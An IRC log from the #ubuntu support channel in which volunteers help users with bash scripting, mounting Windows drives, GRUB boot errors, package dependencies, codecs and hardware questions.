[18:25] <z_> the chinese where go to ,????
[18:25] <StepNjump> I don't care where it is
[18:25] <z_> help me
[18:25] <LjL> z_: type /join #ubuntu-cn
[18:25] <darjeeling> like /mnt/ ?
[18:25] <darjeeling> or
[18:25] <shahrukh> its like c:\windows
[18:25] <darjeeling> yes
[18:25] <LjL> shahrukh: "C:" means something to Windows only, it doesn't mean anything to Linux. you need to have the Windows partition mounted somewhere.
[18:25] <LjL> !windowsdrives > shahrukh    (shahrukh, see the private message from Ubotu)
[18:26] <StepNjump> oh ok thanks I will try that
[18:26] <darjeeling> StepNjump ok
[18:26] <darjeeling> =)
[18:26] <coagen> wow this channel is raging
[18:26] <jedimind> shhh
[18:26] <shahrukh> dude this good.. thanks a lot.. ill try this and let u know how this goes
[18:27] <banisterfiend> how do i set a variable equal to the exit status of a shell command? (using bash)
[18:27] <LjL> banisterfiend: variable=$?
[18:28] <banisterfiend> LjL: ok, thanks..that's nice. but can't i just go var=`tar (etc)`
[18:28] <banisterfiend> or var=tar(etc)
[18:28] <Mr-S> bassically ssh will only answer to my machine
[18:29] <LjL> banisterfiend: that puts the *output* of the command into the variable, not the *exit status*
[18:29] <LjL> banisterfiend: and, it's deprecated too, you should use $() instead of ``
[18:29] <Mr-S> the simple way will be to modify iptables .. the better way ( secret ;) )
[18:29] <darjeeling> Mr-S ok good
[18:29] <banisterfiend> LjL: ah ok, so how would i test the exit status in an if statement of a shell command? if tar(etc)
[18:29] <darjeeling> Mr-S what way?
[18:29] <coagen> ok so I had a concern... I saw an article in a magazine called "VegNews" its a magazine for vegans... about a company in cali called "ubuntu" and I said WHAT? It appears to be a resturant and yoga studio, as you can see from their website: http://ubuntunapa.com then I clicked on the nelson mandela video and noticed they used the same one that ubuntu/canonical produced several years ago! it even has the freaking ubuntu logo in the corne
[18:29] <coagen> r....... so as a concerned ubuntu citizen i called and asked a few questions...
[18:30] <darjeeling> Mr-S I think it's best with iptables!
[18:30] <LjL> banisterfiend: you don't. run the command first, then "if [[ $? -eq 0 ]]; then ..."
[18:30] <darjeeling> Mr-S hmm pam? cross-cable? nat? or something?
[18:30] <LjL> banisterfiend: $? is the only variable that gives you access to exit status (well, not strictly true, there's another for piped commands)
[18:30] <banisterfiend> ok thanks, LjL, how of interest, why the double [[ ?
[18:30] <Mr-S> try iptables plus something else. think of a sort of fingerprint id with 2 way accaptance .....
[18:30] <banisterfiend> out*
[18:31] <Qster> how do i get my display to use 120hz?
[18:31] <LjL> banisterfiend: with "-eq", you don't really need them, i'm just used to having them. they're used for advanced test operators in bash.
[18:31] <Qster> max it shows is 60
[18:31] <darjeeling> Mr-S port knocking is good solution think about it
[18:31] <banisterfiend> ok cheer
[18:31] <banisterfiend> s
[18:31] <banisterfiend> you've helped alot thanks
[18:31] <Mr-S> after root logiong on ssh it will need a certain file trnasfer to unlock yo from the tmp dir. only than you wil have access to the system. otherwise you will stay locked to tmp
[18:32] <darjeeling> Mr-S hmm using profile ?
[18:32] <LjL> banisterfiend: wait, what did i just say...
[18:32] <Mr-S> ssh brute force is really a pain in the  (^&&*^*^*^).
[18:32] <LjL> banisterfiend: you *can* do direct tests on exit status
[18:32] <LjL> banisterfiend: if tar etc; then ...    will work
[18:32] <coagen> their number is 7072515656, I talked to "courtney" and she said they were aware of the linux os, and no that they did not use it, and i asked her they why they used the ubuntu video about nelson mandela... she claimed that that was just about the word, and I said, no it has the ubuntu logo! I asked her if she thought it was apropriate for her company to shamelessly use a video produced for ubuntu linux with out mentioning ubuntu linux
[18:32] <coagen> on their website or using it on their computers
[18:33] <Mr-S> Sorry can not evaluate this stuff on an open channel
[18:33] <darjeeling> haha ok
[18:33] <darjeeling> just wonder
[18:33] <Mr-S> but lets lay iptables, filters and logs can do a lot
[18:33] <darjeeling> ah
[18:33] <darjeeling> got it
[18:34] <darjeeling> got a hint in a logs
[18:34] <Mr-S> i cannot say no more in open channel
[18:34] <darjeeling> ok
[18:34] <darjeeling> =)
[18:36] <Mr-S> one little question, I have ( lol ) . Do you think ubuntu is for advanced users as well ? ( just an open discussion)
[18:36] <glh> mama
[18:36] <glh> kikjikj
[18:36] <StepNjump> darjeeling, it doesn,t work
[18:37] <darjeeling> Mr-S I do not care about linux distribution
[18:37] <Pici> Mr-S: This channel is really for support, not so much open discussions. Check out #ubuntu-offtopic if you want to chat.
[18:37] <StepNjump> Why, it's not good?
[18:37] <shahrukh> hey LjL, im still having a bit of trouble getting the sudo cp done... my windows directory is in a mount named sda1 which is displayed on my desktop.. hope that can help u give me an exact syntax...
[18:37] <Zaqq> hi everyone. i have a dual boot setup (Vista + Ubuntu 8.04) on a Dell laptop. When i switch to ubuntu from vista, i am not able to connect to the internet .. now ping my router ... when i go back to vista .. it works. I know that my drivers are correct in ubuntu because I was able to download the latest updates etc right after my first ubuntu reboot.. any ideas to get my wired network detected?
[18:37] <Zaqq> nor*
[18:37] <Mr-S> I guess you are right  ... sorry for askiing... got the stuff I needed working. perhaps I will post there
[18:37] <StepNjump> I tried what yousaid and it gave me: ﻿mount -t cifs -o username=username,password=password //windowsmachineip/servicenmae /mountpoint
[18:37] <jonah> hey can anyone help advise me, i've got this router: http://www.netgear.co.uk/wireless_adslrouter_dg834g.php   and this router: http://www.multitask-computing.co.uk/catalog/product_info.php?products_id=309   and i don't know which to keep. got one free of the isp, which is best??
[18:38] <darjeeling> Pici wow it's only for support?
[18:38] <LjL> shahrukh: it's probably mounted as /media/sda1. type "ls /media/sda1", and tell me whether it gives you an error or, rather, shows you your windows drive's contents.
[18:38] <Pici> !ot | darjeeling yes
[18:39] <shahrukh> yeah its showing up all the directories in dif colors
[18:39] <Ashal> /msg NickServ HELP REGISTER
[18:39] <darjeeling> ubottu got it =)
[18:39] <LjL> Ashal: i really suggest you do that sort of stuff in the server tab, or you'll eventually give out your password to us by mistake.
[18:39] <darjeeling> I was in wonder why are these questions.
[18:39] <Ashal> Thanks
[18:40] <shahrukh> aight ill try the mount then.. cheers
[18:40] <Ashal> I am trying the empathy client. It is not very intuitive
[18:40] <Zaiden> For some reason I can't have wine programs and firefox/linux sound going at the same time, is there a way to fix this?
[18:40] <banisterfiend>  how come when i do echo -e "hello\n" in a shell script it prints the '-e' out as well?
[18:41] <shahrukh> (cp: cannot stat `/media/sda1/WINDOWS/system32/hal.dll': Input/output error)  this the error it pops out...
[18:42] <shahrukh> wat do u think is the problem LjL??
[18:42] <amrit1> any body please help me installing the driver for ATI Radeon Xpress 1100
[18:42] <amrit1> I trying what is there in http://wiki.cchtml.com/index.php/Ubuntu_Gutsy_Installation_Guide#Method_1:_Install_the_Driver_the_Ubuntu_Way
[18:43] <LjL> shahrukh: that might mean the filesystem is corrupted...
[18:43] <LjL> or the drive is faulty, too
[18:43] <shahrukh> ah...
[18:43] <shahrukh> do u think i should just reinstall windows then?
[18:43] <Qster> anyone help trying to get my display to 1024x768@120hz
[18:44] <jonah1980> hey can anyone help advise me, i've got this router: http://www.netgear.co.uk/wireless_adslrouter_dg834g.php   and this router: http://www.multitask-computing.co.uk/catalog/product_info.php?products_id=309   and i don't know which to keep. got one free of the isp, which is best??
[18:44] <Pici> jonah1980: Try ##hardware or ##networking , this is really Ubuntu related.
[18:45] <Pici> jonah1980: er, s/is/isn't/
[18:46] <LjL> shahrukh: you should probably try running chkdsk on windows first
[18:46] <shahrukh> windows wont even start...
[18:47] <shahrukh> the file is corrupted cuz it keeps telling me to install a copy of it...
[18:47] <shahrukh> windows doesnt even load
[18:47] <shahrukh> can i somehows delete the file from here
[18:48] <shahrukh> i mean from ubuntu
[18:48] <shahrukh> or even rename it
[18:48] <m0u5e> i just downloaded 3 packages from getdeb, and I would like to install them, however because they are deps of each other, i need to install them all at the same time, how would I do this?
[18:49] <raymond> hoi mannen
[18:49] <Rasstamann> where can I find the list of commands for ubuntu shell?
[18:49] <Pici> !cli | Rasstamann
[18:50] <Rasstamann> ty
[18:51] <shahrukh> any clue LjL?
[18:52] <LjL> shahrukh: i think your HD might have failed. install "smartmontools" and run "sudo smartctl -H /dev/sda"
[18:52] <DechWerks> hello all
[18:52] <DechWerks> I'm having a grub related issue since update
[18:53] <shahrukh> dat cud be a possibility... thanks LjL
[18:53] <DechWerks> anyone else run into this with update to 8.x?
[18:53]  * DechWerks goes to read hte fax
[18:53] <DechWerks> er faq
[18:53] <YaKkO_FJV> Can't locate HTTP/Request.pm in @INC (@INC contains: /etc/perl /usr/local/lib/perl/5.8.8 /usr/local/share/perl/5.8.8 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.8 /usr/share/perl/5.8 /usr/local/lib/site_perl .) at the.txt.1 line 48.
[18:53] <YaKkO_FJV> BEGIN failed--compilation aborted at the.txt.1 line 48.
[18:53] <YaKkO_FJV> because?
[18:53] <m0u5e> any idea how to install pidgin in backports guys?
[18:54] <DechWerks> m0u3e - backport as in older revision?
[18:55] <m0u5e> DechWerks: no i have the newest from getdeb, but its a dep nightmare
[18:55] <m0u5e> DechWerks: i want to install them, but they depend on each other and wont let me install
[18:55] <Pici> YaKkO_FJV: What exactly are you trying to do?
[18:55] <m0u5e> DechWerks: so i'm wondering if i can force an install?
[18:56] <DechWerks> oh - I used synaptec to resolve dep issues
[18:56] <Agg[sleep]> .
[18:56] <DechWerks> but the 3.5 ver keeps crashing as it can't handle Nulls properly
[18:56] <DechWerks> (for sametime)
[18:56] <Daisuke_Ido> m0u5e: enable the backports repo and upgrade pidgin
[18:56] <banisterfiend> when passing arguments to my bash function do i go myfunction(MYVAR) or myfunction($MYVAR) ?
[18:56] <klaidas> how can i switch from (let's say) GNOME to Fluxbox?
[18:56] <m0u5e> Daisuke_Ido: the one in getdeb is newer than backports
[18:57] <m0u5e> Daisuke_Ido: i already have backports enabled
[18:57] <shahrukh> hey LjL.. cud u send me ur last reply.... i accidently closed the chat and didnt get the syntax u gave me
[18:57] <Daisuke_Ido> but that wasn't the question
 any idea how to install pidgin in backports guys?
[18:57] <LjL> shahrukh: i think your HD might have failed. install "smartmontools" and run "sudo smartctl -H /dev/sda"
[18:57] <nandemonai> klaidas, at login choose session.
[18:57] <shahrukh> thanks a lot dude
[18:57] <nandemonai> klaidas, provided flux is installed of course :)
[18:57] <m0u5e> Daisuke_Ido: oops sorry, dunno what i said there
[18:57] <klaidas> k, thx. :)
[18:58] <m0u5e> Daisuke_Ido: what i meant was, how do I install pidgin manually as .deb packages
[18:58] <Daisuke_Ido> but you're wondering how to resolve deps from the getdeb package
[18:58] <m0u5e> Daisuke_Ido: because gdebi wont let me install cause they're all deps of each other
[18:58] <m0u5e> Daisuke_Ido: yeah
[18:58] <shahrukh> it says that Smart Health Status: OK
[18:58] <rampageoberon> hi, any idea why i'm getting errors such as "[xxx] butter i/o error on device fd0, logical block 0
[18:59] <Daisuke_Ido> m0u5e: comfortable with a terminal?
[18:59] <m0u5e> Daisuke_Ido: yeah, ive tried aptitude and dpkg already with no luck :(
[18:59] <Daisuke_Ido> download all three, stick them in a directory (that preferably doesn't have any other .debs in it) and dpkg -i *
[18:59] <shahrukh> does that mean my harddisk is not corrupted?
[19:00] <Daisuke_Ido> shahrukh: it means that as far as the SMART failure detection goes, the drive is fine.  there can be other issues, but you're most likely okay.
[19:00] <lakin> I suppose this must be an often asked question, but how do I get the appropriate SSL certificates for pidgin 2.5.0 that just got installed (likely from backports) ?
[19:01] <shahrukh> okay.. i tried to copy hal.dll to my windows system32 directory but it came bak with a input/output error.. then LjL told me run Smartmon and it came around to this... do u reckon i re-install my windows??
[19:02] <DechWerks> ok - so, XMMS is obsoleted, and I don't want to run rythembox - any recommendations on a music player?
[19:02] <DechWerks> (I liked XMMS)
[19:02] <Daisuke_Ido> DechWerks: were you particularly fond of the xmms/winamp style player?
[19:02] <Daisuke_Ido> ah
[19:02] <Daisuke_Ido> you want audacious
[19:02] <m0u5e> Daisuke_Ido: so any ideas?
[19:02] <Daisuke_Ido> spiritual successor
[19:02] <LjL> shahrukh: if it says "ok", it probably means it doesn't think it's corrupted, no? anyway, the HD might be physically fine, and yet the Windows filesystem broken.
[19:02] <m0u5e> audacious <3
[19:03] <DechWerks> thx m0u5e
[19:03] <Daisuke_Ido> m0u5e: looking at it now.  you've completely removed the old one, right?
[19:03] <DechWerks> Daisuke_ido - yes
[19:03] <Daisuke_Ido> with --purge
[19:03] <m0u5e> shahrukh: try using ntfs-tools ntfsfix
[19:03] <shahrukh> so then re-install windows then??
[19:03] <m0u5e> Daisuke_Ido: yes
[19:03] <shahrukh> ohh..
[19:03] <xintron> I need an easy avi to mp4 media converter, suggestions?
[19:03] <shahrukh> okay...
[19:03] <m0u5e> Daisuke_Ido: i used sudo apt-get --purge autoremove pidgin
[19:03] <shahrukh> lets c how dat works
[19:04] <m0u5e> shahrukh: if you can still boot into windows, you could also try start>run>cmd chkdsk C: /f within windows
[19:04] <Daisuke_Ido> m0u5e: unfortunately, i'm about out of ideas.
[19:04] <bytor4232> xintron: I could give you the script that I used, but it took a lot of playing to get it working right.
[19:05] <m0u5e> is there a way to force package installs ignoring dependancies?
[19:05] <shahrukh> cant even load up windows dude
[19:05] <m0u5e> i know there is... i just don't remember @__@;
[19:05] <xintron> bytor4232: ok, you don't have an easy GUI app that will do what I need?
[19:05] <Daisuke_Ido> LjL: any idea on installing pidgin from getdeb?  three parts to it, and apparently installing a single one depends on the other two...
[19:05] <soundray> m0u5e: dpkg --force-depends -i
[19:05] <Daisuke_Ido> there ya go
[19:05] <shahrukh> wats the command i should be using for ntfsfix mou5e
[19:06] <LjL> Daisuke_Ido: i don't use pidgin or for that matter gnome, and for that matter i'd never advice installing from getdeb something *that is in the repos*
[19:06] <bytor4232> xintron: http://paste.ubuntu.com/43704/
[19:06] <m0u5e> oh weird... pidgin just installed fine
[19:06] <m0u5e> after trying dpkg for the 5th time
[19:07] <m0u5e> i didnt even have to force-depends
[19:07] <Daisuke_Ido> LjL: points taken
[19:07] <marpal> hello
[19:07] <bytor4232> xintron: There is a lot of ways you can convert avi to mp4 (for your iPod I assume).  I tried them all, and finally found a way to do it with mencoder.
[19:07] <xintron> bytor4232: thanks
[19:07] <techsupport> how can i check the uptime of my system through terminal ?
[19:07] <marpal> ei may i ask anyone?
[19:08] <bytor4232> xintron: Now, you may have to adjust the bitrates.  That is to make video about 100 meg per hour in size.
[19:08] <shahrukh> mou5e: wat command im using for ntfsfix
[19:08] <Lukas_Ku> techsupport: cat /proc/uptime
[19:08] <bytor4232> xintron: My goal was portability, not quality
[19:08] <marpal> how to work compiz fusion on imac HD 2400 XT
[19:08] <marpal> how to work compiz fusion on imac HD 2400 XT?
[19:08] <xintron> bytor4232: it's for iPod so I think that's ok, or?
[19:08] <marpal> how to work compiz fusion on imac HD 2400 XT?
[19:08] <marpal> how to work compiz fusion on imac HD 2400 XT?
[19:08] <amrit1> hi all
[19:08] <marpal> anyone
[19:08] <FloodBot1> marpal: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[19:08] <bytor4232> xintron: Thats exactly why that script was written ;)
[19:08] <Pici> marpal: Stop with the repeating.
[19:08] <techsupport> Lukas_Ku, the number is in hours ?
[19:08] <marpal> sori
[19:09] <amrit1> where to find the information about graphic driver installation
[19:09] <xintron> bytor4232: how to use it, make it +x and then run it wiht "file file.avi output.mp4?
[19:09] <marpal> pici can you help me?
[19:09] <Lukas_Ku> techsupport: should be in seconds
[19:09] <crashflow> how can I play back midi files?
[19:09] <crashflow> amarok won't do it
[19:10] <bytor4232> xintron: That will actually take all the avi's in a directory and convert them to ipod compatible mp4s.
[19:10] <Lukas_Ku> techsupport: the first number is the uptime since kernel has been started; the second shows the idle uptime
[19:10] <bytor4232> xintron: Low quality, but your watching it on a 2inch screen.
[19:10] <shahrukh> i try the command ntfsfix /dev/sda1 and it says refusing to operate on read/write mounted device
[19:10] <xintron> bytor4232: ah, ok :)
[19:10] <bytor4232> xintron: Oh wait
[19:10] <bytor4232> xintron: No, it takes one arguement, the avi file.  Sorry, wrong script.
[19:10] <shahrukh> mou5e: any suggestions?
[19:11] <xintron> bytor4232: oh, thought so, so "textfile input.avi" then?
[19:11] <bytor4232> xintron: The script will take the .avi off the end and put .mp4 on the target file.
[19:11] <xintron> bytor4232: as a new file or overwrite the .avi file?
[19:11] <klemen> wtf
[19:11] <bytor4232> xintron: yes.  I called it "toipod.pl".  Just chmod +x it, then run ./toipod.pl file.avi
[19:11] <klemen> yes
[19:11] <bytor4232> xintron: No, it makes a new file, keeping the old one.
[19:11] <klemen> wac up
[19:11] <charles441> my new computer is a 64-bit plaform, but im wary of making the switch just yet. I haven't used Linux for a while, is it well supported now? Do nVidia drivers work on 64-bit?
[19:12] <klemen> wtf
[19:12] <QuestionMark> hi all. If i have a core2duo pc wich is the best choiche? the normal i386 or the amd64 image?
[19:12] <xintron> bytor4232: sweet, I'll might do my own verions and python then to learn and use your as reference :) Thanks a lot
[19:12] <bytor4232> xintron: The most important bits are lines 4 and 6.  iPods are very perticular about how a file is encoded.
[19:12] <Daisuke_Ido> charles_: if you choose, you can still install the 32-bit version
[19:13] <xintron> bytor4232: ok, that's good to know
[19:13] <doggymenz> how i can turn vsync on, to avoid tearing?
[19:13] <xintron> bytor4232: found an error, filenames with space in it doesn't work :/
[19:14] <xintron> bytor4232: solved it by adding ' ' around the @ARG in the 4 and 6 lines :)
[19:14] <xintron> bytor4232: maybe something you want to do as well ;)
[19:14] <BigBear> is ubuntu still having trouble with the laptop hdd loads?
[19:15] <Gnea> BigBear: laptop hdd loads? what is that?
[19:15] <Cameljon> BigBear, You mean the repeated parking problem?
[19:15] <jrib> QuestionMark: how much ram?
[19:16] <LiH2> ﻿BigBear: I have two laptops running and dont have that problem, so maybe it is
[19:16] <BigBear> yeah the head parking
[19:16] <Cameljon> BigBear, It still does the parking thing. AFAIK
[19:16] <DechWerks> ok - a better way to phrase my current problem - I have a SATA and IDE drive.  Currently, boot fails due to a failing FSCK on the IDE drive - BUT if I physically do not have this drive present, it does not boot at all.  I assume I need to work on the boot partition of the SATA drive and re-initialize Grub but I am not sure
[19:16] <DechWerks> any ideas?
[19:16] <Hoodoo> hey all, is there a m4p codec in linux?
[19:16] <DechWerks> is htis the right tack?
[19:17] <xintron> bytor4232: nvm what I wrote, didn't work :/
[19:18] <Assemblage> hi
[19:18] <ijustam> is it actually possible to install php5-mysql WITHOUT installing apache? :\
[19:19] <Assemblage> can someone help me configure aircrack in my ubuntu
[19:19] <Assemblage> ?
[19:19] <Cameljon> LiH2, There is a laptop head parking problem that shortens the life of your hard drive. But it's only apparent if you look for it
[19:19] <Gnea> ijustam: no, but you can disable apache from running once it's installed
[19:19] <ijustam> groan
[19:20] <DechWerks> assemblage - first question - do you have the drivers in place?
[19:20] <Gnea> why would you not want apache on there anyway?
[19:20] <ijustam> bad choice for requires imo :\
[19:20] <ijustam> because.. i want to use lighttpd?
[19:20] <Gnea> ah
[19:20] <BigBear> if i get a laptop should i get one with SSD?
[19:21] <Assemblage> DeckWerks i tried but elimit all
[19:21] <Gnea> well, you could always create a fake apache package and use lighttpd anyway :D
[19:21] <Assemblage> so i want configure all by begining
[19:21] <Cameljon> BigBear, hdparm -B 255 /dev/sda will stop the spinning down/parking
[19:21] <DechWerks> well, the drivers is the hard part in my experience
[19:22] <BigBear> Cameljon: wont that increase crash risk or wear battery out more fast?
[19:22] <QuestionMark> jrib 4gb
[19:22] <DechWerks> anyone have any ideas on moving grub and/or other possible ways to isolate HDD issues?
[19:23] <DechWerks> (per my previous quesiton)
[19:23] <jrib> QuestionMark: you should go with 64bit (amd64) then.  Note that the one major issue is that sun does not have a 64bit browser plugin for java.
[19:23] <danbhfive> !webcam
[19:23] <Cameljon> BigBear, Well yes.. baiscly it's an APM problem on laptops. Doing a quick good I only found an old post. There may be something more relavant now. (http://www.linux-hero.com/rant/explanation-ubuntu-hard-drive-wear-and-tear)
[19:23] <Cameljon> good = google
[19:23] <QuestionMark> jrib i must download the amd64 iso?
[19:24] <BigBear> apm kernel issue?
[19:24] <Gnea> DechWerks: what do you use the IDE hard drive for?
[19:24] <jrib> QuestionMark: so that you can use all your ram, yeah.  If you don't mind some of it not getting used, then the i386 will be fine
[19:24] <Dabbu> i am not able to decrase the size of my panel below 25
[19:24] <Dabbu> i am not able to decrase the size of my panel below 25 pixel
[19:24] <Cameljon> BigBear, I have no idea. Google may be able to help you more than me.
[19:24] <Gnea> Cameljon, BigBear: not sure if this is of any relation, but.. http://ubuntuforums.org/showthread.php?t=122863
[19:25] <QuestionMark> any differneces about the prformance? I want use as a desktop pc mostly with blender and maya
[19:25] <BigBear> K ima switch my main os to ubuntu soon. Just need to investagate into the laptop issue i might get a subnotebook with ssd =)
[19:26] <Cameljon> Gnea, Thats a really old post.
[19:26] <Gnea> Cameljon: what's your point?
[19:26] <Cameljon> Gnea, it's not the same problem
[19:26] <DechWerks> gnea - I use the IDE drive for extra space / backups of stuff
[19:26] <DechWerks> nothing critical to the kernel
[19:26] <Kelen> Hi, all dude, is that normal for process compiz.real spent a lot of memory?
[19:26] <DechWerks> but I cannot aford to wipe it as it has some pics
[19:27] <DechWerks> that my wife didn't backup elsewhere
[19:27] <Gnea> DechWerks: then it shouldn't hurt the system to remove it and boot only from the SATA
[19:27] <DechWerks> but it won't boot
[19:27] <BigBear> I am mostly moving to linux because of C programming not because its free
[19:27] <Gnea> why not?
[19:27] <DechWerks> I get an error with grub - I am doing it again to get the specifics
[19:27] <Gnea> ok
[19:27] <DechWerks> but it won't let me 'esc' to ge tto the screen
[19:27] <DechWerks> and it says 'press any key' but just hangs
[19:27] <Gnea> Cameljon: *shrug* ok then
[19:28] <BigBear> is ext3 powerful?
[19:28] <DechWerks> I've tried multiple keyboards too (as it was just a wireless one)
[19:28] <Gnea> it's not weak...
[19:28] <DechWerks> ...
[19:28] <QuestionMark> jrib any differneces about the prformance? I want use as a desktop pc mostly with blender and maya
[19:28] <Gnea> DechWerks: that is weird. have you made sure, in the BIOS, that the sata drive is indeed supposed to boot? tried a different SATA cable?
[19:29] <cpkp> Is there a way to change the tab size for bash or cat?
[19:30] <jrib> QuestionMark: Well you'll have access to more memory on 64bit, so you'll be less likely to use swap.  I use 64bit.  No issues for me.  I never use java in my browser though.  You can setup a 32bit browser if you need it.  It just takes some extra work sometimes.
[19:30] <Dabbu> i am not able to decrase the size of my panel below 25 pixel...any help
[19:30] <Gnea> Dabbu: what panel?
[19:30] <DechWerks> Gnea: error from grub is
[19:31] <DechWerks> error 21: selected disk does not exist
[19:31] <DechWerks> press any key to continue
[19:31] <DechWerks> but ....
[19:31] <Dabbu> Gnea:desktop panel
[19:31] <Metatron> i dont think you can go smaller than the icons
[19:31] <DechWerks> and htis is odd, it does not see keyboard input
[19:31] <DechWerks> it didn't let me hit 'esc' at first
[19:31] <DechWerks> and
[19:32] <DechWerks> nor hit any key after
[19:32] <Gnea> Dabbu: top or bottom?
[19:33] <rampageoberon> ubuntu is not picking up my sata hard drive even though its there in bios
[19:33] <rampageoberon> any ideas?
[19:33] <Dabbu> Gnea: both
[19:33] <mattdev> Hello everyone, I'm having a problem in Gparted.  I just formatted a drive to ext3 but it won't let me mount it!  I right click the drive and I can see unmount but it's grayed out.  Any ideas?
[19:33] <ianliu_88> Is there an easy way to add a XML tag to a file with command line?
[19:33] <vnix> How to play rmvb video?
[19:33] <vnix> I mean is there any codec? thanks
[19:33] <Gnea> DechWerks: you can't ESC to a prompt at all?
[19:33] <Metatron> is it all ready mounted?
[19:33] <DechWerks> nope
[19:33] <DechWerks> it just moves on
[19:33] <DechWerks> and then hangs
[19:33] <DechWerks> ... no any key to work
[19:33] <FloodBot1> DechWerks: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[19:34] <dk> alguien me ayuda a compilar un deb?
[19:34] <mattdev> Metatron: no, I can't see the drive on the desktop
[19:34] <QuestionMark> jrib if i use the 32bit version all two cores will work ok?
[19:34] <DechWerks> but the whoops sorry
[19:34] <nandemonai> QuestionMark, Yups.
[19:34] <Gnea> !sv | dk
[19:34] <dk> ?
[19:34] <DechWerks> the boot menu sees the F11
[19:34] <jrib> QuestionMark: yep, they should
[19:34] <DechWerks> but grub doesn't see any key
[19:34] <DechWerks> that's the ticket
[19:34] <dk> hahaha ok
[19:34] <dk> :p
[19:35] <QuestionMark> jrib ok. thanks four your help. bye
[19:35] <Gnea> !grub | DechWerks
[19:35] <ianliu_88> I'm doing a bash script which must update a XML file, is there an "automated" way to do it, or I must parse the file and add the tag?
[19:35] <dotpavan> !hqx
[19:35] <DechWerks> gnea - thank you!
[19:35] <DechWerks> that is what I needed
[19:35] <Gnea> DechWerks: try the method for recovering grub... it sounds like the menu.lst file is borked
[19:35] <Gnea> DechWerks: cheers :)
[19:35] <dotpavan> Anybody knows how to open .hqx files?
[19:35] <nxmehta> i'm a newb who's installed ubuntu server 8.04 on a headless server, and i'm worried that my usb controller is fried- how do i tell if a usb stick i plugged in is working?
[19:36] <nxmehta> can't really figure out how to mount it
[19:36] <Gnea> nxmehta: tail -f /var/log/syslog  and see if anything happens. or lsusb
[19:36] <nxmehta> crap, nothing appears in the syslog when i plug it in
[19:37] <christooopher_> anyone know if its possible to move a ubuntu hardy install-the one with no partitioning. to my first hd?
[19:37] <Gnea> !language | nxmehta
[19:37] <christooopher_> i didn't reallize i couldn't mount the hd its on
[19:37] <danbhfive> ianliu_88: i bet you would have to go into another language, but google is your friend on that one
[19:37] <rampageoberon> ubuntu is not picking up my sata hard drive even though its there in bios. any ideas?
[19:37] <nxmehta> (sorry)
[19:37] <amrita> help help help..... please help
[19:37] <Gnea> !ask | amireldor
[19:37] <Gnea> !ask | amrita
[19:37] <jrib> amrita: ask ask ask..... please ask :)
[19:38] <christooopher_> can i move my ubuntu install?
[19:38] <amrita> 640x480 is the only resolution availabe for my screen
[19:38] <amrita> why is it so ?
[19:38] <fomigo> i have a problem with nautilus - it doesn't work properly. My CPU  is 50% from it. Can anybody help me? ubuntu 8.04.
[19:38] <vnix> Is there any codec for RMVB or players thanks.
[19:38] <jrib> !fixres > amrita
[19:38] <tcleval> i am trying to install w32codec from mediubuntu repositoriy but no luck so far, the download is slow as hell and sometimes it start over again and again. is there any 'oficial' mirros for medibuntu?
[19:38] <qrl> I trying to use ATI CCC to clone my screen on my LCD-TV. CCC finds my TV, but the TV don`t recieve no signal?
[19:38] <danbhfive> tcleval: by design, NO!  : P
[19:38] <Gnea> christooopher_: what do you mean, move the install?
[19:39] <qrl> I got same problem as tcleval
[19:39] <YaKkO_FJV> how it makes to knock down all the processes of one alone time?
[19:39] <YaKkO_FJV> how it makes to knock down all the processes of one alone time?!
[19:39] <Gnea> !repeat | YaKkO_FJV
[19:39] <christooopher_> from hdb to hda
[19:39] <christooopher_> so i can mount hdb
[19:39] <jrib> YaKkO_FJV: I don't understand your question
[19:39] <danbhfive> Gnea: stop spamming ubottu
[19:39] <Zaiden> Is it possible to get esd back?
[19:39] <qrl> tcleval: Are you trying to stream net-tv?
[19:39] <Gnea> danbhfive: stop telling me to stop.
[19:39] <tcleval> danbhfive so is that and http problem? is it overloaded?
[19:39] <YaKkO_FJV> how I knock down the processes of one alone time?
[19:40] <tcleval> an*
[19:40] <christooopher_> my second hd is 100gb i used 8 for ubuntu install but can't mount the other 92 in ubuntu...
[19:40] <jrib> YaKkO_FJV: that doesn't make sense.  Rephrase your question
[19:40] <Pici> YaKkO_FJV: can you rephrase that?
[19:40] <Carpe|Diem> Could someone tell me what the program is called to get a terminal embedded in your desktop? Like in this movie: http://uk.youtube.com/watch?v=BqpTDMqBBdM&feature=related
[19:40] <tcleval> qrl i am trying to see some videos ;-)
[19:40] <nandemonai> christooopher_, is it partitioned and formatted?
[19:40] <Gnea> christooopher_: that doesn't make much sense... the other 92 *what*?
[19:40] <kat__> does anyone know if i can use my Line 6 Toneport KB37 with ubuntu?
[19:40] <kat__> and where do i get the driver??!
[19:40] <christooopher_> no, i used the new install option for hardy where i didn't have to set up any p[artitions
[19:41] <jrib> vnix: mplayer with w32codecs can probably play it
[19:41] <christooopher_> 100gb - 8 = 92
[19:41] <danbhfive> tcleval: maybe, I can't tell from where I'm sitting.  But just so you know, medibuntu is a repo for items that can't be included in the official repos, hence, if its in medibuntu, you won't ever find it in an official place
[19:41] <qrl> tcleval: having problem finding the right codecWIN32 too
[19:41] <nandemonai> christooopher_, fdisk -l and pastebin the results please.
[19:41] <Gnea> christooopher_: soooo... you want to move your second hard drive to the position of first hard drive?
[19:41] <vnix> jrib: how I get w32codecs?
[19:41] <jrib> !medibuntu > vnix
[19:41] <aryamaangiri> hey did any of u ppl download LIMEWIRE in ubuntu ??
[19:41] <BigBear> does ubuntu run on a Acer Aspire one?
[19:41] <Gnea> !limewire > aryamaangiri
[19:42] <jrib> aryamaangiri: I'd recommend frostwire in its place
[19:42] <jrib> !frostwire > aryamaangiri
[19:42] <christooopher_> not really the 92gb is techincally on the same drive as the 8gb ubuntu install, ubuntu just can't see it (i beleive cause its on the same drive) so i want to move ubuntu to my 50gb windows drive
[19:42] <christooopher_> the reason being my movies and music are on the 92gb
[19:43] <qrl> I trying to use ATI CCC to clone my screen on my LCD-TV. CCC finds my TV, but the TV don`t recieve no signal?
[19:43] <Gnea> christooopher_: it should be able to see the other drive... how are you trying to get it to see it?
[19:43] <danbhfive> christooopher_: I don't think thats why ubuntu can't see it.  Ubuntu should be able too...
[19:43] <BigBear> is dell selling ubuntus on netbooks?
[19:43] <nandemonai> christel, oh right so what type of partition? would really help if you pastbin the results of sudo fdisk -l for us.
[19:44] <christooopher_> is there a new place to look in hardy? i check /dev and /media
[19:44] <nandemonai> christooopher_, rather =/
[19:44] <legend2440> !tvout | qrl
